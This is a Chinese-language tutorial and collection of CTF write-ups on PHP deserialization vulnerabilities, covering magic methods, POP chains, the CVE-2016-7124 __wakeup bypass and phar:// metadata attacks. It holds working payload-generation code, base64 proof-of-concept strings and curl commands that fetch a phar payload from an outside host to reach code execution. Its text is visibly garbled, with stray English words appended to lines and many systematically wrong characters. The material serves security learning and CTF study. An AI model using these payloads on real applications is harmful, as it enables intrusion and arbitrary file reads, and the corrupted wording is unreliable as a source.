自從 Orange 在 2017年的 hitcon 出了一個 0day 的 php phar:// 反序列化給整個安全界開啓了新世界的大門之後,php 反序列化這個漏洞就逐漸升溫,沒想到後來 2018 年 blackhat 的議題上這個問題再次被說起,利用的仍是 Orange 的思路(我只能 orz),到如今 phar:// 反序列化已經成爲了各大 CTF 煊赫一時的思路,就彷彿 2016 年的 CVE-2016-7124 繞過 __weakup 同樣。php
這實際上是爲了解決 PHP 對象傳遞的一個問題,由於 PHP 文件在執行結束之後就會將對象銷燬,那麼若是下次有一個頁面剛好要用到剛剛銷燬的對象就會一籌莫展,總不能你永遠不讓它銷燬,等着你吧,因而人們就想出了一種能長久保存對象的方法,這就是 PHP 的序列化,那當咱們下次要用的時候只要反序列化一下就 ok 啦html
序列化的目的是方便數據的傳輸和存儲. json 是爲了傳遞數據的方便性.node
序列化示例:python
<?php class test{ public $name = 'P2hm1n'; private $sex = 'secret'; protected $age = '20'; } $test1 = new test(); $object = serialize($test1); print_r($object); ?>
關鍵函數 serialize():將PHP中建立的對象,變成一個字符串git
private屬性序列化的時候格式是 %00類名%00成員名github
protected屬性序列化的時候格式是 %00*%00成員名web
關鍵要點:apache
在Private 權限私有屬性序列化的時候格式是 %00類名%00屬性名編程
在Protected 權限序列化的時候格式是 %00*%00屬性名json
你可能會發現這樣一個問題,你這個類定義了那麼多方法,怎麼把對象序列化了之後全都丟了?你看你整個序列化的字符串裏面全是屬性,就沒有一個方法,這是爲啥?
請記住,序列化他只序列化屬性,不序列化方法,這個性質就引出了兩個很是重要的話題:
(1)咱們在反序列化的時候必定要保證在當前的做用域環境下有該類存在
這裏不得不扯出反序列化的問題,這裏先簡單說一下,反序列化就是將咱們壓縮格式化的對象還原成初始狀態的過程(能夠認爲是解壓縮的過程),由於咱們沒有序列化方法,所以在反序列化之後咱們若是想正常使用這個對象的話咱們必需要依託於這個類要在當前做用域存在的條件。
(2)咱們在反序列化攻擊的時候也就是依託類屬性進行攻擊
由於沒有序列化方法嘛,咱們能控制的只有類的屬性,所以類屬性就是咱們惟一的攻擊入口,在咱們的攻擊流程中,咱們就是要尋找合適的能被咱們控制的屬性,而後利用它自己的存在的方法,在基於屬性被控制的狀況下發動咱們的發序列化攻擊(這是咱們攻擊的核心思想,這裏先借此機會拋出來,你們有一個印象)
圖片1
反序列化示例:
<?php $object = '通過序列化的字符串'; $test = unserialize($object1); print_r($test3); ?>
圖片2
關鍵函數 unserialize():將通過序列化的字符串轉換回PHP值
當有 protected 和 private 屬性的時候記得補齊空的字符串
__wakeup()魔術方法
unserialize() 會檢查是否存在一個 __wakeup() 方法。若是存在,則會先調用 __wakeup 方法,預先準備對象須要的資源。
序列化public private protect參數產生不一樣結果
<?php class test{ private $test1="hello"; public $test2="hello"; protected $test3="hello"; } $test = new test(); echo serialize($test); // O:4:"test":3:{s:11:" test test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:" * test3";s:5:"hello";} ?>
test類定義了三個不一樣類型(私有,公有,保護)可是值相同的字符串,序列化輸出的值不相同 O:4:"test":3:{s:11:" test test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:" * test3";s:5:"hello";}
經過對網頁抓取輸出是這樣的 O:4:"test":3:{s:11:"\00test\00test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:"\00*\00test3";s:5:"hello";}
private的參數被反序列化後變成 \00test\00test1 public的參數變成 test2 protected的參數變成 \00*\00test3
####概念解釋
PHP 反序列化漏洞又叫作 PHP 對象注入漏洞,是由於程序對輸入數據處理不當致使的.
反序列化漏洞的成因在於代碼中的 unserialize() 接收的參數可控,從上面的例子看,這個函數的參數是一個序列化的對象,而序列化的對象只含有對象的屬性,那咱們就要利用對對象屬性的篡改實現最終的攻擊。
####須要具有反序列化漏洞的前提:
必須有 unserailize() 函數 unserailize() 函數的參數必須可控(爲了成功達到控制你輸入的參數所實現的功能,可能須要繞過一些魔法函數
PHP 將全部以 __(兩個下劃線)開頭的類方法保留爲魔術方法。因此在定義類方法時,除了上述魔術方法,建議不要以 __ 爲前綴。 常見的魔法方法以下:
__construct(),類的構造函數 __destruct(),類的析構函數 __call(),在對象中調用一個不可訪問方法時調用 __callStatic(),用靜態方式中調用一個不可訪問方法時調用 __get(),得到一個類的成員變量時調用 __set(),設置一個類的成員變量時調用 __isset(),當對不可訪問屬性調用isset()或empty()時調用 __unset(),當對不可訪問屬性調用unset()時被調用。 __sleep(),執行serialize()時,先會調用這個函數 __wakeup(),執行unserialize()時,先會調用這個函數 __toString(),類被當成字符串時的迴應方法 __invoke(),調用函數的方式調用一個對象時的迴應方法 __set_state(),調用var_export()導出類時,此靜態方法會被調用。 __clone(),當對象複製完成時調用 __autoload(),嘗試加載未定義的類 __debugInfo(),打印所需調試信息
(1) __construct():當對象建立時會自動調用(但在unserialize()時是不會自動調用的)。 (2) __wakeup() :unserialize()時會自動調用 (3) __destruct():當對象被銷燬時會自動調用。 (4) __toString():當反序列化後的對象被輸出在模板中的時候(轉換成字符串的時候)自動調用 (5) __get() :當從不可訪問的屬性讀取數據 (6) __call(): 在對象上下文中調用不可訪問的方法時觸發
其中特別說明一下第四點:
這個 __toString 觸發的條件比較多,也由於這個緣由容易被忽略,常見的觸發條件有下面幾種
(1)echo ($obj) / print($obj) 打印時會觸發 (2)反序列化對象與字符串鏈接時 (3)反序列化對象參與格式化字符串時 (4)反序列化對象與字符串進行==比較時(PHP進行==比較的時候會轉換參數類型) (5)反序列化對象參與格式化SQL語句,綁定參數時 (6)反序列化對象在通過php字符串函數,如 strlen()、addslashes()時 (7)在in_array()方法中,第一個參數是反序列化對象,第二個參數的數組中有toString返回的字符串的時候toString會被調用 (8)反序列化的對象做爲 class_exists() 的參數的時候
在咱們的攻擊中,反序列化函數 unserialize() 是咱們攻擊的入口,也就是說,只要這個參數可控,咱們就能傳入任何的已經序列化的對象(只要這個類在當前做用域存在咱們就能夠利用),而不是侷限於出現 unserialize() 函數的類的對象,若是隻能侷限於當前類,那咱們的攻擊面也太狹小了,這個類不調用危險的方法咱們就無法發起攻擊。
可是咱們又知道,你反序列化了其餘的類對象之後咱們只是控制了是屬性,若是你沒有在完成反序列化後的代碼中調用其餘類對象的方法,咱們仍是一籌莫展,畢竟代碼是人家寫的,人家自己就是要反序列化後調用該類的某個安全的方法,你總不能改人家的代碼吧,可是不要緊,由於咱們有魔法方法。
魔法正如上面介紹的,魔法方法的調用是在該類序列化或者反序列化的同時自動完成的,不須要人工干預,這就很是符合咱們的想法,所以只要魔法方法中出現了一些咱們能利用的函數,咱們就能經過反序列化中對其對象屬性的操控來實現對這些函數的操控,進而達到咱們發動攻擊的目的。
示例程序:
<?php class test{ public $target = 'this is a test'; function __destruct(){ echo $this->target; } } $a = $_GET['b']; $c = unserialize($a); ?>
知足反序列化漏洞條件:存在unserialize() 函數,函數參數$a能夠控制,就具有了利用反序列化漏洞的前提。由於存在 echo 的緣由,咱們還能夠直接利用xss
<?php class test{ public $target = '<script>alert(/xss/);</script>'; } $a = new test(); $a = serialize($a); echo $a; ?>
圖片3
<?php class test{ public $name = 'P2hm1n'; function __construct(){ echo "__construct()"; echo "<br><br>"; } function __destruct(){ echo "__destruct()"; echo "<br><br>"; } function __wakeup(){ echo "__wakeup()"; echo "<br><br>"; } function __toString(){ return "__toString()"."<br><br>"; } function __sleep(){ echo "__sleep()"; echo "<br><br>"; return array("name"); } } $test1 = new test(); $test2 = serialize($test1); $test3 = unserialize($test2); print($test3); ?>
圖片4
咱們同樣是來寫一個代碼進行驗證:
class test {
private $flag = ''; # 用於保存重載的數據 private $data = array(); public $filename = ''; public $content = ''; function __construct($filename, $content) { $this->filename = $filename; $this->content = $content; echo 'construct function in test class'; echo "<br>"; } function __destruct() { echo 'destruct function in test class'; echo "<br>"; } function __set($key, $value) { echo 'set function in test class'; echo "<br>"; $this->data[$key] = $value; } function __get($key) { echo 'get function in test class'; echo "<br>"; if (array_key_exists($key, $this->data)) { return $this->data[$key]; } else { return null; } } function __isset($key) { echo 'isset function in test class'; echo "<br>"; return isset($this->data[$key]); } function __unset($key) { echo 'unset function in test class'; echo "<br>"; unset($this->data[$key]); } public function set_flag($flag) { $this->flag = $flag; } public function get_flag() { return $this->flag; } } $a = new test('test.txt', 'data'); # __set() 被調用 $a->var = 1; # __get() 被調用 echo $a->var; # __isset() 被調用 var_dump(isset($a->var)); # __unset() 被調用 unset($a->var); var_dump(isset($a->var)); echo "\n";
咱們能夠看到調用的順序爲:
構造方法 => set方法(咱們此時爲類中並無定義過的一個類屬性進行賦值觸發了set方法) => get方法 => isset方法 => unset方法 => isset方法 => 析構方法
同時也能夠發現,析構方法在全部的代碼被執行結束以後進行的。 __call() __callStatic()
實例程序:
<?php class pompom{ private $name = "pompom"; function __construct(){ echo "__construct"; echo "</br>"; } function __sleep(){ echo "__sleep"; echo "</br>"; return array("name"); } function __wakeup(){ echo "__wakeup"; echo "</br>"; } function __destruct(){ echo "__destruct"; echo "</br>"; } function __toString(){ return "__toString"."</br>"; } } $pompom_old = new pompom(); $data = serialize($pompom_old); file_put_contents("serialize-3.txt", $data); $pompom_new = unserialize($data); print($pompom_new);
輸出結果:
__construct __sleep __wakeup __toString __destruct __destruct
就是提示一下這裏 __destruct 了兩次說明當前實際上有兩個對象,一個就是實例化的時候建立的對象,另外一個就是反序列化後生成的對象。
PHP反序列化標識符含義:
a - array b - boolean d - double i - integer o - common object r - reference s - string C - custom object O - class N - null R - pointer reference U - unicode string
序列化:把複雜的數據類型壓縮到一個字符串中 數據類型能夠是數組,字符串,對象等 函數 : serialize()
反序列化:恢復原先被序列化的變量 函數: unserialize()
<?php $test1 = "hello world"; $test2 = array("hello","world"); $test3 = 123456; echo serialize($test1); // s:11:"hello world"; 序列化字符串 echo serialize($test2); // a:2:{i:0;s:5:"hello";i:1;s:5:"world";} 序列化數組 echo serialize($test3); // i:123456; ?> <?php class hello{ public $test4 = "hello,world"; } $test = new hello(); echo serialize($test); // O:5:"hello":1:{s:5:"test4";s:11:"hello,world";} 序列化對象 首字母表明參數類型 O->Objext S->String... ?>
<?php class K0rz3n { private $test; public $K0rz3n = "i am K0rz3n"; function __construct() { $this->test = new L(); } function __destruct() { $this->test->action(); } } class L { function action() { echo "Welcome to XDSEC"; } } class Evil { var $test2; function action() { eval($this->test2); } } unserialize($_GET['test']);
首先咱們能看到 unserialize() 函數的參數咱們是能夠控制的,也就是說咱們能經過這個接口反序列化任何類的對象(但只有在當前做用域的類纔對咱們有用),那咱們看一下當前這三個類,咱們看到後面兩個類反序列化之後對咱們沒有任何意義,由於咱們根本無法調用其中的方法,可是第一個類就不同了,雖然咱們也沒有什麼代碼能實現調用其中的方法的,可是咱們發現他有一個魔法函數 __destruct() ,這就很是有趣了,由於這個函數能在對象銷燬的時候自動調用,不用咱們人工的干預,好,既然這樣咱們就決定反序列化這個類的對象了,接下來讓咱們看一下怎麼利用(我上面說過了,咱們須要控制這個類的某些屬性,經過控制屬性實現咱們的攻擊).
destruct() 裏面只用到了一個屬性 test ,那確定就是他了,那咱們控制這個屬性爲何內容咱們就能攻擊了呢,咱們再觀察一下 那些地方調用了 action() 函數,看看這個函數的調用中有沒有存在執行命令或者是其餘咱們能利用的點的,果真咱們在 Evil 這個類中發現他的 action() 函數調用了 eval(),那咱們的想法就很明確了,
咱們須要將 K0rz3n 這個類中的 test 屬性篡改成 Evil 這個類的對象,而後爲了 eval 能執行命令,咱們還要篡改 Evil 對象的 test2 屬性,將其改爲咱們的 Payload.
分析完畢之後咱們就能夠構建咱們的序列化字符串了,構建的方法不是手寫(固然你願意我也不攔着你,理論上是可行的),咱們要將這段代碼複製一下,而後修改一些內容並進行序列化操做.
生成 payload 代碼:
<?php class K0rz3n { private $test; function __construct() { $this->test = new Evil; } } class Evil { var $test2 = "phpinfo();"; } $K0rz3n = new K0rz3n; $data = serialize($K0rz3n); file_put_contents("seria.txt", $data);
咱們去除了一切與咱們要篡改的屬性無關的內容,對其進行序列化操做,而後將序列化的結果複製出來,想剛剛的代碼發起請求
注意要添加上:%00xxx%00
能夠看到咱們攻擊成功,特別要提醒一下的就是我在圖中框起來的部分,上面說過因爲是私有屬性,他有本身特殊的格式會在先後加兩個 %00 ,因此咱們在傳輸過程當中絕對不能忘掉.
經過這個簡單的例子總結一下尋找 PHP 反序列化漏洞的方法或者說流程
(1) 尋找 unserialize() 函數的參數是否有咱們的可控點
(2) 尋找咱們的反序列化的目標,重點尋找 存在 wakeup() 或 destruct() 魔法函數的類
(3) 一層一層地研究該類在魔法方法中使用的屬性和屬性調用的方法,看看是否有可控的屬性能實如今當前調用的過程當中觸發的
(4) 找到咱們要控制的屬性了之後咱們就將要用到的代碼部分複製下來,而後構造序列化,發起攻擊
解題思路:經過源碼將對應字符串序列化便可.
<?php $KEY = "D0g3!!!"; echo serialize($KEY) ?>
解題思路:考察的包含3個知識點
a、 PHP://input 做爲文件讀入
b、 PHP文件包含漏洞(php://filter/read=convert.base64-encode/resource=)
c、 PHP反序列化漏洞利用
只須要控制 $this->file 就能讀到咱們想要的文件
<?php class Flag{//flag.php public $file = 'flag.php'; } $a = new Flag(); $a = serialize($a); echo $a; ?>
漏洞影響版本
PHP5 < 5.6.25
PHP7 < 7.0.10
漏洞原理及要點
__wakeup()函數觸發於unserilize()調用以前,可是若是被反序列話的字符串其中對應的對象的屬性個數發生變化時,會致使反序列化失敗而同時使得 __wakeup()函數失效。當成員屬性數目大於實際數目時會跳過 __wakeup()函數的執行。
實例演示:sugarcrm <=6.5.23 存在此漏洞 (https://blog.csdn.net/qq_19876131/article/details/52890854)
推薦閱讀:SugarCRM v6.5.23 PHP反序列化對象注入漏洞
訪問https://github.com/orangetw/My-CTF-Web-Challenges/tree/master/hitcon-ctf-2016/babytrick查看源碼
解題思路:注意到類中有魔術方法__wakeup,其中函數會對咱們的輸入進行過濾、轉義。
如何繞過__wakeup呢?谷歌發現了CVE-2016-7124,一個月前爆出的。簡單來講就是當序列化字符串中,若是表示對象屬性個數的值大於真實的屬性個數時就會跳過__wakeup的執行。參考https://bugs.php.net/bug.php?id=72663,某一種狀況下,出錯的對象不會被毀掉,會繞過__wakeup函數、引用其餘的魔術方法。
官方exp以下:
<?php class obj implements Serializable { var $data; function serialize() { return serialize($this->data); } function unserialize($data) { $this->data = unserialize($data); } } $inner = 'a:1:{i:0;O:9:"Exception":2:{s:7:"'."".'*'."".'file";R:4;}'; $exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:4;}'; $data = unserialize($exploit); echo $data[1]; ?>
解題思路:
a、 http://xxx/index.php?file=php://filter/read/convert.base64-encode/resource=index(hint).php
b、parse_url() 函數解析漏洞 使用域名以後使用///
parse_url()會把//認爲是相對路徑(5.4.7之前) ///會被返回false 從而繞過過濾
c、hint.php 中的對象在反序列化的時候,會先調用 __wakeup 魔術方法,PHP反序列化繞過__wakeup方法(PHP-Bug-72663),
將咱們payload中O:6:"Handle":1改成O:6:"Handle":2
d、使用引用,使token爲token_flag的引用,從而 token===token_flag
要讓token===token_flag,咱們可使用引用,使token變爲token_flag的引用
找到一個正解,使用php得引用賦值來繞過。
原理: a=1; b=&a; a=a+1; 那末最後b得值也會變爲2,由於b是引用賦值。
這裏咱們一樣得方法,咱們在構造序列化字符串得時候加上這麼一句:
$b = new Flag("flag.php");
$b->token=&$b->token_flag;
$a = new Handle($b);
那末token得值就始終和token_flag保持一致了。
e、還有一點要注意:s:14:"Handlehandle" 爲何長度是12,前面的值倒是14呢?
這是由於當成員屬性爲private時,在序列化後,Handle字串先後會各有一個0x00,所以長度爲14。
相似的protect屬性,則是在*先後各有一個0x00。
0x00的url編碼爲%00,所以咱們傳參時要進行編碼。所以最終payload要加上%00。
題目地址:http://117.51.158.44/index.php
解題思路:
a、 抓包分析能夠看到有個明顯的header頭didictf_username,使用burpSuite發送到Repeater didictf_username加入admin 發送後獲得app/fL2XID2i0Cdh.php
b、 POST /app/Session.php 得到到Cookie值.
c、 源碼分析:
if(!empty($_POST["nickname"])) { //POST的不爲空 $arr = array($_POST["nickname"],$this->eancrykey); $data = "Welcome my friend %s"; foreach ($arr as $k => $v) { //打印變量 $data = sprintf($data,$v); //輸出 } parent::response($data,"Welcome"); }
修改 Content-Type:application/x-www-form-urlencoded,添加 nickname 變量中包含%s,加入獲取的Cookie值,可獲得$this->eancrykey的數值.
d、構造最終payload爲
<?php Class Application { var $path = '..././config/flag.txt'; } $a = new Application(); $a = serialize($a); print_r($a); ?>
解題思路:
首先是一個類sercet 接受$cmd,繞過正則 ,反序列化。覆蓋$file的值,繞過 __wakeup,顯示the_next.php的源碼
O:6:"sercet":1:{s:12:"sercetfile";s:12:"the_next.php";}
POC1:
TzorNjoic2VyY2V0IjozOntzOjEyOiIAc2VyY2V0AGZpbGUiO3M6MTI6InRoZV9uZXh0LnBocCI7fQ==
在復現的過程當中 我發如今hackbar中直接將 O:+6:"sercet":1:{s:12:" sercet file";s:12:"the_next.php";} base64編碼不能繞過 必需要在本地base64_encode生成 才能復現成功
繞過正則能夠用+號 問題是如何繞過__weakup函數 發現這是一個CVE漏洞 ==》當成員屬性數目大於實際數目時可繞過wakeup方法(CVE-2016-7124)
O:6:"sercet":1: 也就是輸入比1大的值就行 如O:6:"sercet":2:
O:6:"sercet":2:{s:12:"sercetfile";s:12:"the_next.php";}
因此POC2: O:+6:"sercet":2:{S:12:"\00sercet\00file";s:12:"the_next.php";} TzorNjoic2VyY2V0IjoyOntTOjEyOiJcMDBzZXJjZXRcMDBmaWxlIjtzOjEyOiJ0aGVfbmV4dC5waHAiO30KCgo=
兩個POC都可以成功繞過.
這個 bug 的原理是:當反序列化字符串中,表示屬性個數的值大於真實屬性個數時,會跳過 __wakeup 函數的執行。
反序列化的字符串用戶可控,可是反序列化後會先執行 __wakeup 函數,該函數會將 $this->file 變量設成固定值,致使咱們沒法進行任意文件讀取。如今咱們利用這個 bug 嘗試繞過 __wakeup 函數。能夠看到 ReadFile 類的屬性中,只有一個 $file 私有屬性,那麼正常反序列化出來應該是下面這個樣子:
而若是咱們將數值個數值 1 改爲大於 1 的任何數字,在反序列化時就不會調用 __wakeup 函數。觀察上圖,咱們還會發現反序列化字符串中存在 \x00 字符,這個實際上是類的私有屬性反序列化後的格式,protected 屬性也有本身的反序列化格式,不妨來看看:
回到題目上,咱們最終能夠用以下 payload ,實現繞過 __wakeup 函數讀取任意文件:
ROP 的全稱是面向返回編程(Return-Oriented Programing),ROP 鏈構造中是尋找當前系統環境中或者內存環境裏已經存在的、具備固定地址且帶有返回操做的指令集,將這些原本無害的片斷拼接起來,造成一個連續的層層遞進的調用鏈,最終達到咱們的執行 libc 中函數或者是 systemcall 的目的
POP 面向屬性編程(Property-Oriented Programing) 經常使用於上層語言構造特定調用鏈的方法,與二進制利用中的面向返回編程(Return-Oriented Programing)的原理類似,都是從現有運行環境中尋找一系列的代碼或者指令調用,而後根據需求構成一組連續的調用鏈,最終達到攻擊者邪惡的目的
說的再具體一點就是 ROP 是經過棧溢出實現控制指令的執行流程,而咱們的反序列化是經過控制對象的屬性從而實現控制程序的執行流程,進而達成利用自己無害的代碼進行有害操做的目的
說了這麼多理論了,來點實戰性的東西演示一下 POP 鏈的造成吧!
如今咱們就按照,我上面說的步驟來一步一步的分析這段代碼,最終構造咱們的 POP 鏈完成利用
(1)尋找 unserialize() 函數的參數是否有咱們的可控點
咱們假設已經在第一段代碼裏設置了參數可控的 unserialize()
(2)尋找咱們的反序列化的目標,重點尋找 存在 wakeup() 或 destruct() 魔法函數的類
咱們在第一段代碼中尋找,咱們發現一眼就看到了咱們最想要看到的東西,__destruct() 魔法方法,好,既然這樣咱們就將這個類做爲咱們的漏洞嫌疑對象
(3)一層一層地研究該類在魔法方法中使用的屬性和屬性調用的方法,看看是否有可控的屬性能實如今當前調用的過程當中觸發的
1.咱們就先來看一下這個 $write ,這個 $write 雖然不是屬性,可是他是咱們 $_write 屬性的其中一部分,那麼控制他也就等於控制屬性,那咱們就要好好研究一下這個 $write 了,他是什麼呢?經過他能調用 shutdown() 來看,他是某一個類的一個對象,由於他不是單純的屬性因此咱們還要向下挖
2.因而咱們就要找一下定義 shutdown() 方法的類,而後咱們就鎖定了 Zend_Log_Writer_Mail 這個類,咱們看到這個類裏面使用了 $write 對象的不少屬性,好比說 _layout ,而後咱們又發現這個屬性也調用了一個方法 render() ,說明這個屬性其實也是一個對象,因而咱們還要向更深處挖掘
3.那麼 _layout 是誰的對象呢?咱們發現他是 Zend_layout 的一個對象,一樣的,他裏面是用了一個 _inflector 的屬性,這個屬性調用了 filter 方法,看來他也是一個對象(有完沒完~~)別急,咱們繼續向下
4.咱們發現 _inflector 是 Zend_Filter_PregReplace 的一個對象,這個對象的一些屬性是能進行直接控制的,而且在調用 filter 方法的時候能直接觸發 preg_replace() 方法,太好了這正是咱們想要的,咱們只要控制這個對象的屬性就能實現咱們的利用鏈
最後一張 圖片實際上已經將整個利用鏈畫了出來,而且給上了 payload ,下面我想經過對整個 payload 的分析再來回顧一下整個 POP 鏈的調用過程.
因此整個 POP 鏈就是
writer->shutdown()->render()->filter()->preg_replace(咱們控制的屬性)->代碼執行
聲明: 固然這是一個很老的可是很經典的例子,裏面用到的方法仍是 preg_replace() 的 /e 選項,咱們只是學習使用,請你們不要糾結
在 2017 年的 hitcon Orange 的一道 0day 題的解法使人震驚,Orange 經過他對底層的深度理解,爲 PHP 反序列化開啓了新的篇章,在此以後的 black 2018 演講者一樣用這個話題講述了 phar:// 協議在 PHP 反序列化中的神奇利用,那麼接下來就讓咱們分析他爲何開啓了 PHP 反序列化的新世界,以及剖析一下這個他的利用方法。 1.回顧一下原先 PHP 反序列化攻擊的必要條件
(1)首先咱們必須有 unserailize() 函數
(2)unserailize() 函數的參數必須可控
這兩個是原先存在 PHP 反序列化漏洞的必要條件,沒有這兩個條件你談都不要談,根本不可能,可是從2017 年開始 Orange 告訴咱們是能夠的
2.phar:// 如何擴展反序列化的攻擊面的
原來 phar 文件包在 生成時會以序列化的形式存儲用戶自定義的 meta-data ,配合 phar:// 咱們就能在文件系統函數 file_exists() is_dir() 等參數可控的狀況下實現自動的反序列化操做,因而咱們就能經過構造精心設計的 phar 包在沒有 unserailize() 的狀況下實現反序列化攻擊,從而將 PHP 反序列化漏洞的觸發條件大大拓寬了,下降了咱們 PHP 反序列化的攻擊起點。
3.具體解釋一下 phar 的使用 1.Phar 的文件結構
phar 文件最核心也是必需要有的部分如圖所示: phar-1.png
(1) a stub
圖片中說了,這其實就是一個PHP 文件實際上咱們能將其複雜化爲下面這個樣子
格式爲:
xxx<?php xxx; __HALT_COMPILER();?>
前面內容不限,但必須以__HALT_COMPILER();?>來結尾,這部分的目的就是讓 phar 擴展識別這是一個標準的 phar 文件
(2)a manifest describing the contents
由於 Phar 自己就是一個壓縮文件,它裏面存儲着其中每一個被壓縮文件的權限、屬性等信息。這部分還會以序列化的形式存儲用戶自定義的meta-data,這是上述攻擊手法最核心的地方。
(3)the file contents
這部分就是咱們想要壓縮在 phar 壓縮包內部的文件
2.如何建立一個合法的 Phar壓縮文件 http://127.0.0.1/php_unserialize/Phar-1.php
能夠清楚地看到咱們的 TestObject 類已經以序列化的形式存入文件中
咱們剛剛說過了,php一大部分的文件系統函數在經過phar://僞協議解析phar文件時,都會將meta-data進行反序列化
測試後受影響的函數以下: 受影響的函數列表
fileatime filectime file_exists file_get_contents
file_put_contents file filegroup fopen
fileinode filemtime fileowner fikeperms
is_dir is_executable is_file is_link
is_readable is_writable is_writeable parse_ini_file
copy unlink stat readfile
3.phar 反序列化小實驗
<?php class TestObject { public function __destruct() { echo 'Destruct called'; } } $filename = 'phar://phar.phar/test.txt'; file_get_contents($filename); ?>
能夠看出咱們成功的在沒有 unserailize() 函數的狀況下,經過精心構造的 phar 文件,再結合 phar:// 協議,配合文件系統函數,實現了一次精彩的反序列化操做。
其餘函數固然也是可行的:
phar_test2.php
<?php class TestObject { public function __destruct() { echo 'Destruct called'; } } $filename = 'phar://phar.phar/a_random_string'; file_exists($filename); //...... ?>
當文件系統函數的參數可控時,咱們能夠在不調用unserialize()的狀況下進行反序列化操做,一些以前看起來「人畜無害」的函數也變得「暗藏殺機」,極大的拓展了攻擊面。
實際利用 3.1 利用條件
任何漏洞或攻擊手法不能實際利用,都是紙上談兵。在利用以前,先來看一下這種攻擊的利用條件。
phar文件要可以上傳到服務器端。 要有可用的魔術方法做爲「跳板」。 文件操做函數的參數可控,且:、/、phar等特殊字符沒有被過濾。
具體參考:利用 phar 拓展 php 反序列化漏洞攻擊面 https://paper.seebug.org/680/
HITCON 2016上,orange 出了一道PHP反序列化。 babytrick HITCON 2017上,orange 出了一道Phar + PHP反序列化。 下面的實例程序 HITCON 2018上,orange 出了一道file_get_contents + Phar + PHP反序列化。 Hitcon2018 BabyCake題目分析 https://www.anquanke.com/post/id/162431#h2-0 讓咱們期待HITCON 2019的操做
經過源碼分析,很清楚 cookie 是經過 remote_addr 配合 sha1 進行 hmac 簽名生成的,想繞過他那是不可能的,當時的人們確定都是沉迷於沒法繞過這個,因而最終這道題是 全球 0 解,可是如今咱們就要思考一下 是否是能用 Phar 這個在不使用 unserialize() 的方式完成序列化成功 get flag
回顧一下使用 Phar 反序列化的條件是什麼
(1)文件上傳點 (2)系統文件函數 (3) phar:// 僞協議
這個太完美了,徹底符合咱們要求,咱們只要的精心構造一個包含 Admin 對象、包含 avatar.gif 文件,而且 stub 是 GIF89a<?php xxx; __HALT_COMPILER();?> 的 phar 文件而後上傳上去,下一次請求經過 Phar:// 協議讓 file_get_contents 請求這個文件就能夠實現咱們對 Admin 對象的反序列化了(有人可能會說爲何不直接用 phar:// 請求遠程文件,由於phar:// 不支持訪問遠程 URL )
生成 phar 的 paylod
<?php class Admin { public $avatar = 'orz'; } $p = new Phar(__DIR__ . '/avatar.phar', 0); $p['file.php'] = '<?php ?>';
$p->setMetadata(new Admin()); $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>'); rename(DIR . '/avatar.phar', DIR . '/avatar.gif'); ?>
這裏還有一個點須要提一下(雖然和反序列化沒什麼直接關係),就是咱們經過 eval 建立的函數並不能幫咱們拿到 flag 由於他是隨機名稱的,咱們是沒法預測的,實際上這是 Orange 的一個障眼法,咱們真正要利用的是 eval 下面的 $_GET"lucky";
可是實際上咱們的 $FLAG 也是一個匿名函數,可是匿名函數就真的沒有名字了嗎?非也,匿名函數的函數名被定義爲
\000_lambda_" . count(anonymous_functions)++;
這裏的count 會一直遞增到最大長度直到結束,這裏咱們能夠經過大量的請求來迫使Pre-fork模式啓動的Apache啓動新的線程,這樣這裏的隨機數會刷新爲1,就能夠預測了
下面給出 Orange 的解題過程
# get a cookie $ curl http://host/ --cookie-jar cookie
# download .phar file from http://orange.tw/avatar.gif $ curl -b cookie 'http://host/?m=upload&url=http://orange.tw/'
# force apache to fork new process $ python fork.py &
# get flag $ curl -b cookie "http://host/?m=upload&url=phar:///var/www/data/$MD5_IP/&lucky=%00lambda_1"
####補充知識點(PHP中的類,對象,屬性,方法,this,-> ):
php裏面的類-----class XX{},經過類的定義,可使用調用類裏面的成員屬性和成員方法。
對象---一個類就是一個對象,一個對象能夠有多個屬性,一個類能夠有多個成員方法。
在PHP中,要建立一個類很簡單,只須要關鍵字class便可,class {}
在PHP中用關鍵字new來建立一個類的對象,其語法以下:
$object_name=new class_name
其中,object_name即爲所要創建的對象的名字,關鍵字new用來建立一個對象,class_name爲類名。
在類中定義的變量咱們稱之爲「屬性(property)」,屬性的聲明必須由訪問控制關鍵字public(公開的)、protected(受保護的)或private(私有的)開頭。
class car { public $brand = 'Volkswagen'; protected $price = 999999; private $color = 'red'; function getBrand(){ return $this->brand; } }
public屬性能夠在類的外部訪問,而protected和private屬性則只能由該類內部的方法使用。
外部訪問對象的屬性和方法時,使用 -> 操做符。內部訪問時使用$this(僞變量)調用當前對象的屬性或方法。
$c = new car(); //對象:c 類名:car echo $c->brand; //Volkswagen echo $c->price; //報錯,受保護屬性不容許外部訪問 echo $c->color; //報錯,私有屬性不容許外部訪問
類中的方法(function)和屬性具備同樣的訪問控制方式。定義方法時加上public、protected和private關鍵字便可。默認狀態下爲public。一樣的,public可經過->操做符外部訪問,而protected和private方法只能經過爲變量$this內部訪問。
protected和private都不可外部訪問,區別在哪裏呢?
從字面理解,protected只是受保護而已,全部能夠在本類、父類和子類中訪問。而private只能在本類中訪問。